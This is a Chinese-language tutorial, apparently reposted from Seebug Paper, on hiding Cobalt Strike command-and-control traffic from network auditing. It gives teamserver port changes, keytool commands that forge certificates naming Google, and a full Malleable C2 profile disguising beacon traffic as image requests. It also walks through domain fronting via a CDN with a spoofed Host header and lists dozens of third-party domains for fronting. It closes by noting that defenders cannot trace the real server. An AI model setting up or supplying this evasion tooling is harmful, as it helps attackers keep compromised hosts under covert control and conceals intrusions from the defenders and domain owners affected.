Cobalt Strike 绕过流量审计
作者:Keyi
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!
投稿邮箱:paper@seebug.org
Cobalt Strike简介
Cobalt Strike is software for Adversary Simulations and Red Team Operations.
Cobalt Strike 简称CS, A-team详细介绍使用网址。CS是一款优秀的后渗透工具,可以在获取主机权限后进行长久权限维持,快速进行内网提权,凭据导出等。在后渗透中如果未修改特征,容易被流量审计设备监控,被蓝队溯源。
多人运动来不来?
去除特征的三种方式
1.修改默认端口
第一种是直接编辑teamserver进行启动项修改。
- ./teamserver 1.1.1.1 password
直接修改teamserver
vim teamserver
第二种是启动的时候指定server_port端口
- java -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile
2.去除证书特征
进入cs目录。
查看keytool -list -v -keystore cobaltstrike.store 证书情况,输入默认密码123456回车,可以看到所有者、发布者中Cobalt Strike相关字样。
keytool是一个Java 数据证书的管理工具,使用如下:
keytool -keystore cobaltstrike.store -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias google.com -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)。
example:
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias google.com -dname "CN=US, OU=google.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"
未修改cobaltstrike.store前:
修改cobaltstrike.store后,可以看到cobalt strike等关键字样已经去除:
google.profile模版可以参考C2.profile和malleable-c2
设置后,可以看到访问/image/后已经返回的是我们设置好的header 了
"Content-Type" "img/jpg";
"Server" "nginx/1.10.3 (Ubuntu)";
部分引用源码如下:
## cs profile
# http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/
# https://github.com/rsmudge/Malleable-C2-Profiles/
# Author: @keyi
#
set sample_name "google";
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
append "-.jpg";
uri-append;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "nginx/1.10.3 (Ubuntu)";
output {
base64;
print;
}
}
}
http-post {
set uri "/history/";
client {
header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".asp";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
3.修改Cobalt Strike dns_idle
0.0.0.0是Cobalt Strike DNS Beacon特征可设置Malleable C2进行修改
输入set dns_idle "8.8.8.8";
域前置
原理
域前置(英语:Domain fronting),是一种隐藏连接真实端点来规避互联网审查的技术。在应用层上运作时,域前置使用户能通过HTTP连接到白名单域名(如*.google.cn),无直接与C2服务器的通信。
介绍:被攻击机器 ->
www.microport.com
(走aliyun cdn的域名,根据设定的host头: dns.google.cn找到对应的vps_ip) -> cdn流量转发到vps_ip(c2真实地址)
实战配置CDN
购买云服务器,开通CDN服务。
加速域名:随便填个高信誉的域名实现域名伪造,例如:oss.microsoft.com,dns.google.com之类的。
登陆aliyun。
在IP位置填写cs_teamserver的IP地址。
配置c2的Stager的域名为走cdn的地址,如:www.microport.com.cn
www.microport.com.cn
这种是走aliyun cdn的。其中dns.google.cn
是伪造的域名地址,目的是目标机器访问cdn的时候可以根据google.cn特征找到对应的vps_ip。
有没人跟我有相同的疑问,这个走aliyun的cdn域名如何获取。这边波师傅给我提供了一些,可能域名作废或者不走cdn了,大家可以根据curl做一下测试。
admin.bjexpo.comadmin.cailianpress.com
admin.cheyian.com
admin.cydf.com
admin.ebp2p.com
admin.k3.cn
admin.ks5u.com
admin.kyjxy.com
admin.lezi.com
admin.weiba66.com
admin.wuzhenfestival.com
admin.xingfujie.cn
admin.yxp2p.com
anxin360.com
api.3658mall.com
api.bjexpo.com
api.cheyian.com
api.cydf.com
api.ebp2p.com
api.ks5u.com
api.kyjxy.com
api.lanjinger.com
api.my089.com
api.thecover.cn
api.uiyi.cn
api.utcard.cn
api.weiba66.com
api.wuzhenfestival.com
api.xingfujie.cn
api.yxp2p.com
api.zaozuo.com
app.bjexpo.com
app.chanjet.com
app.cheyian.com
app.ebp2p.com
app.eeo.com.cn
app.gfedu.cn
app.guojimami.com
app.hao24.cn
app.hrmarket.net
app.k3.cn
app.kyjxy.com
app.lanjinger.com
app.lezi.com
app.meiduimall.com
app.sanqin.com
app.sanqin.com
配置成功后,输入
curl -v "www.microport.com/een" -H "Host:dns.google.cn"
可以查看cs的weblog,看见请求/een的日志,证明配置成功。
cs生成Windows exe,运行成功上线.可以看到14.17.67.46 东莞IP上线。无直接跟c2连接的域名信息,这样来说蓝队在防守的时候看到的是白名单域名,并且也无法溯源到我们真实的vps地址。
参考
以上是 Cobalt Strike 绕过流量审计 的全部内容, 来源链接: utcz.com/p/199730.html